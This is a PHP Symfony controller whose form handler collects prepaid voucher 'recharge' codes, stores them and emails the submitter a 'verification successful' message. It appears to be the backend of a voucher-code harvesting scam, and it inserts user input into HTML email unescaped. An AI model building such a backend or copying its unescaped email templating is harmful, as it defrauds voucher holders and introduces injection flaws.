<?php
namespace App\Controller;
use Doctrine\ORM\EntityManagerInterface;
use Karser\Recaptcha3Bundle\Validator\Constraints\Recaptcha3;
use Karser\Recaptcha3Bundle\Validator\Constraints\Recaptcha3Validator;
use ReCaptcha\ReCaptcha;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;
use Symfony\Component\Mailer\MailerInterface;
use Symfony\Component\Mime\Email;
use App\Entity\Recharge;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\Mailer\Exception\TransportExceptionInterface;
use Symfony\Component\Validator\Validator\ValidatorInterface;
use Symfony\Contracts\Translation\TranslatorInterface;
use Symfony\Component\Validator\Constraints as Assert;
class HomeController extends AbstractController
{
private EntityManagerInterface $em;
private MailerInterface $mailer;
private TranslatorInterface $translator;
public function __construct(EntityManagerInterface $em, MailerInterface $mailer, TranslatorInterface $translator)
{
$this->em = $em;
$this->mailer = $mailer;
$this->translator = $translator;
}
#[Route(path: '/', name: 'app_home')]
public function index(): Response
{
return $this->render('frontend/index.html.twig', []);
}
/**
* @throws TransportExceptionInterface
*/
#[Route(path: '/form_submit', name: 'app_home_submit', methods: ['POST'])]
public function postForm(Request $request, ReCaptcha3Validator $recaptcha3Validator, ValidatorInterface $validator): JsonResponse
{
$data = json_decode($request->getContent(), true);
$recaptchaToken = $data['recaptcha_token'] ?? null;
$violations = $validator->validate($recaptchaToken, [
new Assert\NotBlank(['message' => 'Token manquant.']),
new Recaptcha3(['message' => 'Vérification échouée.']),
]);
if (count($violations) > 0) {
return new JsonResponse([
'error' => "Erreur survenue Recaptcha",
'messages' => iterator_to_array($violations),
], 400);
}
$nombreCodes = isset($data['nombre_codes']) ? (int)$data['nombre_codes'] : 0;
$codes = [];
for ($i = 1; $i <= $nombreCodes; $i++) {
$codeKey = 'codeRecharge' . $i;
if (isset($data[$codeKey])) {
$codes[] = $data[$codeKey];
}
}
$recharge = new Recharge();
$recharge->setType($data['recharge']);
$recharge->setMontant($data['montant']);
$recharge->setDevise($data['devise']);
$recharge->setEmail($data['email']);
$recharge->setCode1(implode(', ', $codes));
$recharge->setCreatedAt(new \DateTimeImmutable());
$this->em->persist($recharge);
// Contenu de l'email en HTML
$emailContent = "
<html>
<head>
<style>
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
line-height: 1.6;
background-color: #f4f4f9;
color: #444;
margin: 0;
padding: 0;
}
.email-container {
max-width: 600px;
margin: 40px auto;
background-color: #ffffff;
padding: 30px;
border-radius: 12px;
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.06);
}
.email-header {
text-align: center;
background-color: #f0ecf9;
padding: 25px;
border-radius: 10px 10px 0 0;
}
.email-header h2 {
margin: 0;
font-size: 22px;
color: #4a2e8e;
}
.email-body {
padding: 20px;
}
.email-body p {
margin: 12px 0;
font-size: 15px;
}
.email-body table {
width: 100%;
border-collapse: collapse;
margin-top: 20px;
background-color: #fafafa;
border-radius: 8px;
overflow: hidden;
}
.email-body th, .email-body td {
padding: 12px 15px;
text-align: left;
border-bottom: 1px solid #e0e0e0;
}
.email-body th {
background-color: #f6f2fc;
color: #4a2e8e;
font-weight: 600;
}
.email-body td {
color: #333;
}
.email-footer {
text-align: center;
font-size: 13px;
color: #888;
margin-top: 30px;
}
</style>
</head>
<body>
<div class='email-container'>
<div class='email-header'>
<h2>" . $this->translator->trans('email.verification_successful', [], 'email') . "</h2>
</div>
<div class='email-body'>
<p>" . $this->translator->trans('email.hello', [], 'email') . "</p>
<p>" . $this->translator->trans('email.success_message', [], 'email') . "</p>
<table>
<tr>
<th>" . $this->translator->trans('email.recharge_type', [], 'email') . "</th>
<td>{$recharge->getType()}</td>
</tr>
<tr>
<th>" . $this->translator->trans('email.amount', [], 'email') . "</th>
<td>{$recharge->getMontant()} {$recharge->getDevise()}</td>
</tr>
<tr>
<th>" . $this->translator->trans('email.recharge_codes', [], 'email') . "</th>
<td>" . implode(', ', $codes) . "</td>
</tr>
</table>
<p>" . $this->translator->trans('email.thanks_message', [], 'email') . "</p>
<p>" . $this->translator->trans('email.thank_you', [], 'email') . "</p>
<p>" . $this->translator->trans('email.regards', [], 'email') . "</p>
<p><strong>" . $this->translator->trans('email.team', [], 'email') . "</strong></p>
</div>
<div class='email-footer'>
<p>" . $this->translator->trans('email.footer', ['%year%' => date('Y')], 'email') . "</p>
</div>
</div>
</body>
</html>
";
$email = (new Email())
->from('no-reply@voucher.giftcard-ticket.com')
->to($data['email'])
->subject($this->translator->trans('email.verif', [], 'email'))
->html($emailContent); // Utilisation de html() au lieu de text()
$this->mailer->send($email);
$this->em->flush();
return new JsonResponse(['success' => true]);
}
}